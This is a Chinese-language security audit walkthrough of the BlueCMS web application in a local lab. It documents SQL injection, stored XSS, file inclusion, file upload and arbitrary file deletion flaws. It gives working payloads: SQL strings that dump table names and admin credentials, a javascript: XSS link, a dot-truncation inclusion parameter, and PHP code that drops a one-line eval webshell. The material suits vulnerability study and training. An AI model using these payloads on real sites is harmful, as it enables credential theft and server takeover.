一、sql注入
环境
流程:将bluecms文件夹放到WWW中,访问文件中的install(安装文件),安装后可以删掉
成功后直接访问bluecms目录即可
后台访问报错解决。在php.ini配置文件里找到。关闭后记得重启phpstudy
display_errors = off
建议删除安装文件或者将文件名更改
1、sql注入(Ⅰ)
限制
后台
过程
http://127.0.0.1/bluecms/admin/接口
有index.php首页包含的common.inc.php文件
在index.php文件里已经设置了 'IN_BLUE' 常量。就继续执行。获取系统设置是否开启,没开启就手动设置将这些请求方式接受的值进行过滤(单引号(')、双引号(”)、反斜线()与 NUL(NULL 字符)反斜杠转义).由于定义的cookies不是cookie,所以只对cookies进行了过滤,对cookie没有影响
判断admin_id为空,act!=login &!=do_login &!=logout。数据包里没有这些字段,所以成立就进入。
判断cookie接受的Blue[admin_id]、Blue[admin_name]、Blue[admin_pwd]这些参数是否存在。如果存在就检查cookie里的Blue[admin_name]、Blue[admin_pwd]。
检查账号密码直接去数据库查询
此时可以构造cookie判断的参数,让他存在并且进入验证。可以输出sql语句方便查看
此时判断出存在的注入点,并且有单引号
闭合单引号,用延时语句测试。正常执行时2057
延时1,时间是11120
2、sql注入(Ⅱ)
限制
无
过程
直接加单引号没有报错,因为是GBK编码格式,可以用两个字符将单引号吃掉,成功报错还带出来sql语句.
使用报错语句注入没有执行成功,在数据库可以成功。既然是注册就是往数据库插入数据,可以利用插入语句来执行查询其他账户
执行插入语句在邮箱的位置添加查询数据库的语句,登录插入的账户,在邮箱位置就会显示查询的数据库名
3、sql注入(Ⅲ)
限制
无
过程
在ad_js.php文件里发现sql注入。
get接受的ad_id参数判断是否为空且两边去空,如果参数为空就输出错误结束执行。过程中没有过滤就带入到getone拼接sql语句
继续跟踪到getone函数,只是一个连接数据库的操作。很明显是存在sql注入的。
但是访问后发现被转义了,找到最开始的ad_js.php,其中包含的文件/include/common.inc.php。在这个文件里存在一些过滤。addslashes针对单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
但是参数并没有在单双引号内,所以不用考虑闭合直接在参数位置注入就可以。测试出7为回显点
爆表名:
group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名:
group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
爆数据:
GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
既然存在sql注入说明xss也没有过滤
4、sql注入(Ⅳ)
限制
无
过程
在评论的地方使用了实体化编码函数进行编码,所以不存在xss
$online_ip = getip();
getip()函数是在common.inc.php文件里定义的。common.fun.php文件调用了这个函数
这里出现getip()函数,跟进去发现是用来获取真实ip的,getenv(参数)函数是一个用于获取环境变量的函数,根据提供不同的参数可以获取不同的环境变量。获取的真实IP并且没有任何过滤直接插入到数据库。
访问 guest_book.php转成POST请求方式,构造参数,使用client-ip伪造ip地址
二、XSS
1、xss(Ⅰ)
限制
无
过程
让这些条件检查参数是否为空和去空格,都成立就直接拼接了sql语句,过程中没有任何过滤
2、xss(Ⅱ)
限制
后台发布内容,前台触发
过程
user.php
对content参数进行过滤。虽然有过滤但过滤不严谨。
content调用filter_data函数来过滤关键字"/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/"
过滤了script|i?frame|meta|link这几个标签,但是没有过滤img标签
title=>标题,color=>颜色,author=>作者,source=>来源,都使用了htmlspecialchars转义。只有content没有做转义处理,所以在这个地方存在xss.
<a href=javascript:alert(1)>dianjichufa</a>点击触发
三、文件包含
限制
利用文件上传包含上传的马
过程
user.php文件
$_POST['pay']从前端传进来的参数没有任何过滤处理直接拼接了包含的文件,虽然后面还拼接了/index.php,可以通过截断的方式绕过
利用:
先在bluecms目录下创建个文件text.php内容为phpinfo.尝试能不能访问成功
在线支付通过抓包将post包添加参数,使用多个点来截断,注意php版本,高版本已修复这个漏洞pay=../../text.php........................................................................................................................................................................................................................................
可以结合文件上传,传入木马进行getshell
五、文件上传
限制
无
过程
经过分析上传的图片只对图片类型和图片后缀做了限制,没有对内容过滤,所以只要上传符合条件的图片马就可以
1.php里写入的代码时生成一个wk.php的文件,内容为一句话木马
<?php @fputs(fopen('wk.php',w),"<?php @eval($_POST['wk']);?>");?>
上传成功后会显示上传后的文件路径
上传成功后直接访问利用图片马生成的文件,利用hacker构建post请求,执行命令输出phpinfo
六、任意文件删除
限制
无
过程
利用seay审计工具自动审计功能,此功能不能完全正确,需求手动确认
定位跟踪到相关文件以及对应的参数。接受参数id直接拼接sql删除语句,显示删除了数据库的id值,再去判断本地文件是否存在,如果存在就删除
在当前目录随便创建个文件,构造删除语句。